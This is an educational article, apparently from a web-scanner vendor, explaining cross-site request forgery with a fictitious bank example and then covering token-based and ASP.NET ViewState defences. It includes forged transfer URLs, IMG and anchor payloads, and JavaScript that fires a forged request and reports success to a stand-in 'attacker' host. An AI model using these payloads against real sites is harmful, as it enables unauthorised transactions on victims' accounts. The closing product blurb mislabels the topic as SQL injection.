Attack Series: Cross-Site Request Forgery (CSRF)
Summary: What are the Cross-site Request Forgery Attacks (CSRF) attacks?
The Cross-Site Request Forgery (CSRF) is an attack class which exploits the trust relationship between a web application and its legitimate user. For the execution of the CSRF, the ill-intentioned user should lure the legitimate user (either by means of social engineering or other tricks such as cross-site scripting) to execute arbitrary activities in the application, thus allowing that, virtually, any specific action can be accomplished within the system without final user’s consent.
CSRF exploits occur by means of vulnerable applications which do not possess specific controls to ensure that all communications with the legitimate user are accomplished through a same context, i.e., by making use of an execution logic flow. A good example to be considered would be moving credits yielded by a financial credit transaction to a new ownership (ill-intentioned user) without user’s (victim of attack) request for the necessary screen for input of origin and destination data.
Attacker’s targets are usually the valuable transactions often found within the application web systems, such as:
- Change in user’s e-mail address or personal data;
- Change in user’s access password;
- Financial turnover transactions or online shopping.
Vulnerable applications are basically exploited by means of the following steps:
- user authenticates himself or is authenticated in attack’s target application;
- user receives a link or users same browser to access a malicious application;
- link or malicious application browsed includes a request to the target application, carrying all necessary parameters to execute an arbitrary transaction.
As there is a valid authenticated session for the user within the target application, the application receives the request and executes the operation in accordance with the forwarded request.
Is my application vulnerable to CSRF attacks?
If your application allows execution of transactions by means of invocation of a static requisition, i.e., by using the same parameters as time goes by, then it is probably vulnerable to CSRF attacks. If the HTTP protocol method being used is GET, risk becomes even higher.
As a proof of concept, try yourself to save the web form of your web application into your local machine and submit it completely out of context to your web server. If you are able to obtain a positive response from the application, the odds of being vulnerable to CSRF attacks are high.
Problem lies in the fact that browsers automatically include (in all requests for a same application) all and every credentials assigned to it, be it a user’s session cookie, token and authentication credentials. Therefore, if application has no conditions to assess the execution flow it will not be capable of sorting the malicious request from the legitimate one.
A Practical Example:
In order to better understand this process we will submit now a practical example of a CSRF attack. In the example below, Alice uses the fictitious system of Bank.com through which she will effect a money transfer worth US$ 100.00 to Beto on Monday. The money transfer form can be translated, in a very superficial way, to the following shape:
The request, in a generic way, will be effected through the POST method, as follows:
GET /transfer.do?acct=BETO&amount=100 HTTP/1.1 Host: bank.com (...)
On Tuesday, she decides to transfer additional US$ 50.00 to BETO’s account. Again, the request coming from her browser bears the following characteristics:
GET /transfer.do?acct=BETO&amount=50 HTTP/1.1 Host: bank.com (...)
By observing the requests effected in distinct moments (Monday and Tuesday) a prowling hacker concludes that a simple transaction can be effected to his/her account, provided it bears the following format:
GET /transfer.do?acct=HACKER&amount=500 HTTP/1.1 Host: bank.com (...)
If he/she manages to make Alice place this request to Bank.com’s application while it is authenticated, the transaction will be executed arbitrarily, even though under a legitimate character.
In order to exploit the vulnerability, the hacker prepares a specific link to take advantage of such transaction:
http://bank.co/transfer.do?acct=HACKER&amount=500
To conceal his/her real objectives the hacker yet decides to make use of a URL shortener service, turning the attack URL to a link for the fictitious “shorturl” service.
http://shorturl.br/yhdkadkw
Upon sending this information to Alice and luring her to invoke the URL while connected to her Bank, the hacker will be executing transactions in an arbitrary manner under Alice’s name, effectively transferring US$ 500.00 from her account to his/her account.
Other examples:
Still inside this same vulnerable application, the hacker may choose to make reference to this URL within a third application and invite Alice to visit it. A simple approach would be the use of a HTML tag anchor (“A”) to create an access link in the application body or through an e-mail message sent to Alice, as in the example below:
<a href="http://bank.co/transfer.do?acct=HACKER&amount=100000">View my pictures</a>
In order to give such attack an even more sophisticated shape, the hacker might as well conceal the requisition inside an image reference placed into a HTML application and then invite her to pay a visit to it:
<img src="http://bank.co/transfer.do?acct=HACKER&amount=100000">
Alice will not notice the trap and the browser will submit the request to Bank.com without any visual indication that the transference had been accomplished. If Alice is authenticated in bank’s application, the transaction will be successfully completed.
Below follows a list of the most common ways hackers can use to exploit CSRF attacks in vulnerable applications:
- By means of HTML tags
- Use of IMG SRC
- Use of SCRIPT SRC
- Use of IFRAME SRC
- By means of javascript code
- ‘Image’ Object: var foo = new Image(); foo.src = “http://host/?command”;
- By means of a XmlHttpRequest (XMLHTTP) object.
Please note that, face to security restrictions (Cross-domain restriction), the request made via XmlHttpRequest can only be accomplished at script’s same domain. However, this attack can be exploited in combination with the Cross-site scripting, exploiting applications vulnerable to both conditions (XSS and CSRF).
Examples of CSRF exploits, by means of javascript injections into a vulnerable application:
- In the Internet Explorer:
var post_data = 'name=value';
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("GET", 'http://bank.co/transfer.do?acct=HACKER&amount=100', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
var receipt = new Image();
receipt.src = "http://attacker/attackResult.do?result=true";
}
};
xmlhttp.send(post_data);
- Using gecko engine (Mozilla)
var post_data = 'name=value';
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET", 'http://bank.co/transfer.do?acct=HACKER&amount=100', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
var receipt = new Image();
receipt.src = "http://attacker/attackResult.do?result=true";
}
};
xmlhttp.send(post_data);
Attack sophistication via Flash (SWF)
Objects of the SWF (Flash) type can also be used to perform request in an asynchronous way into user’s browser. This characteristic, allied to the possibility of using Adobe’s Cross-Domain policy (through crossdomain.xml file), can allow an hacker to build-in a SWF file to perform the same request to Bank.co, if such bank allows that Flash objects from other domains communicate with it.
To check the policy currently in force the hacker shall request the http://bank.co/crossdomain.xml file and check occurrence of something similar to:
<allow-access-from domain=”*” />
What is the impact (and main consequences) of attack?
The main consequence of this attack is not to be sure whether the user had (or not) the intention to perform the specific actions within the system and thus allow that ill-intentioned users exploit the existing trust relationship to attack the final user.
There are countless notorious cases (like in January/2007) where a vulnerability in the GMAIL allowed a hacker to steal the list of contacts from the user-victim, or in the case of Netflix (an online film renting company) who allowed hacker to change name and address of account and add items to the list of films for rent.
Correction of vulnerable codes:
A solution, commonly adopted by developers against CSRF attacks is the Synchronizer Token Pattern, which generates a random ‘challenge’ token associated with current user’s session. These tokens are inserted into HTML forms and links associated with sensitive operations and are included into HTTP requests, when sent to the web application.
When user generates a request by means of a form, an “input” field of the “hidden” type shall contain the token for protection against CSRF. Every time a sensitive transaction is executed, the application will compare the token sent with the value stored in the session. In case such comparison results positive, the transaction will be completed and a new token will be randomically generated.
Examples:
Some languages like Java already bring specific functions (via java.security.SecureRandom) for generation of a long and random token. The class is used in Java applications to generate a long and random token. In the case of Bank.com’s application, this random value would be placed to complement the form, as follows:
<form action="/transfer.do" method="get"> <input type="hidden" name="CSRFToken" value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTViMGYwMGEwOA=="> … </form>
Thus, the order would have been completed in an unique way every time it is executed.
ViewState (ASP.NET)
ViewState can be used as a defense against CSRF attacks once it is difficult for a hacker to forge valid value by means of prediction. The ViewState indicates the status of a page when it is sent to server. This status is defined through a hidden field placed in each age with a control. It is very important to remember the necessity of implementing cryptographic controls in the ViewState to ensure that it will not be manipulated by an ill-intentioned user.
Example:
protected override OnInit(EventArgs e) {
base.OnInit(e);
if (User.Identity.IsAuthenticated)
ViewStateUserKey = Session.SessionID; }
In this specific case, the code shall be applied in Page_Init as the key must be supplied to ASP.NET before ViewState is loaded.
Prevention Frameworks:
How N-Stalker can help you!
The N-Stalker Web Application Security Scanner 2012 can help your organization find SQL injection issues in an automatic way. N-Stalker Free Edition’s standard installation brings a big set of predefined policies which already detects this vulnerability.
Download free edition of N-Stalker 2012.
Video references
- How Do I: Prevent a Cross Site Request Forgery Security Flaw in an ASP.NET Application?
